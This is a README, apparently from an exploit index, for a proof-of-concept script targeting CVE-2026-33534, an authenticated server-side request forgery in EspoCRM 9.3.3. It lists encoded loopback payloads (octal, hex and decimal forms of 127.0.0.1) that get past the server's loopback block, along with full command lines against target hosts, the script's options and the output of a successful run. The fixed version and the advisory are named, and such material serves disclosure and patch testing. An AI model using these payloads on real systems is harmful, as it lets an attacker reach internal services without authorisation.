## https://sploitus.com/exploit?id=09E05AEB-8FD1-5F5D-9057-0E54C77EA2A9
# CVE-2026-33534 - EspoCRM 9.3.3 Authenticated SSRF
Authenticated SSRF proof-of-concept for EspoCRM 9.3.3 via alternative IPv4 loopback notation in the `/api/v1/Attachment/fromImageUrl` endpoint.
## Summary
EspoCRM 9.3.3 blocks direct loopback URLs such as `http://127.0.0.1/...`, but the server-side fetch path accepts alternative IPv4 representations that cURL normalizes to loopback. This allows an authenticated user with access to the affected attachment/image upload flow to make the EspoCRM server fetch internal resources.
The exploit first submits a direct `127.0.0.1` control request and expects it to be blocked with HTTP `403`. It then tests multiple encoded loopback payloads and reports which ones produce a stored attachment.
## Affected Version
- Vulnerable: EspoCRM 9.3.3
- Fixed: EspoCRM 9.3.4
- Advisory: https://github.com/espocrm/espocrm/security/advisories/GHSA-h7gx-8gwv-7g73
- CVE: CVE-2026-33534
- CWE: CWE-918
## Requirements
- Python 3
- `requests`
- Valid EspoCRM credentials
- Permission to use the target image/attachment field
Install dependency:
```bash
python3 -m pip install requests
```
## Usage
Basic local validation against an EspoCRM instance running on port `8083`:
```bash
python3 CVE-2026-33534.py \
-u http://127.0.0.1:8083 \
-U admin \
-P 'Admin12345!' \
--internal-port 8083 \
--cleanup
```
Test an internal service on a custom port and path:
```bash
python3 CVE-2026-33534.py \
-u https://target.example \
-U user \
-P 'password' \
--internal-port 9002 \
--internal-path /interno.png \
--cleanup
```
Use only custom payloads:
```bash
python3 CVE-2026-33534.py \
-u https://target.example \
-U user \
-P 'password' \
--no-default-payloads \
--payload 0x7f000001 \
--payload 2130706433
```
## Default Payloads
The exploit tests these loopback host representations by default:
```text
0177.0.0.1
0177.0000.0000.0001
0177.1
0x7f.0.0.1
0x7f.0x0.0x0.0x1
0x7f000001
2130706433
017700000001
127.1
127.0.1
127.000.000.001
0000000000000000000000000177.0.0.1
```
Custom payload files are supported. Each line can be either:
```text
host
label=host
```
Example:
```text
hex-dword=0x7f000001
decimal-dword=2130706433
```
Run with:
```bash
python3 CVE-2026-33534.py -u https://target.example -U user -P pass --payload-file payloads.txt
```
## Options
```text
-u, --url Base EspoCRM URL
-U, --username EspoCRM username
-P, --password EspoCRM password
--internal-port Internal loopback port to fetch
--internal-path Internal path to fetch
--payload Additional loopback host notation
--payload-file File with one host payload per line
--no-default-payloads Use only custom payloads
--field Attachment field, default: avatar
--parent-type Parent entity type, default: User
--parent-id Optional parent entity id
--cleanup Delete attachments created by successful payloads
--stop-on-first Stop after the first successful bypass
--insecure Disable TLS certificate verification
```
## Expected Output
Successful exploitation shows the direct loopback control blocked and one or more encoded payloads accepted:
```text
[*] Control response: HTTP 403 Not allowed URL.
[+] octal dotted 0177.0.0.1 HTTP 200 id=... type=image/svg+xml size=4438
[+] hex dword 0x7f000001 HTTP 200 id=... type=image/svg+xml size=4438
[+] Vulnerable behavior confirmed.
[+] Direct loopback control: HTTP 403
[+] Successful payloads: 12
```
## Notes
- The default PoC fetches `/client/img/logo-light.svg` from the target's own loopback listener. Adjust `--internal-port` and `--internal-path` for another internal service.
- The default field is `User.avatar`; use `--field`, `--parent-type`, and `--parent-id` if the tested account needs a different upload context.
- Use `--cleanup` during testing to delete created attachments automatically.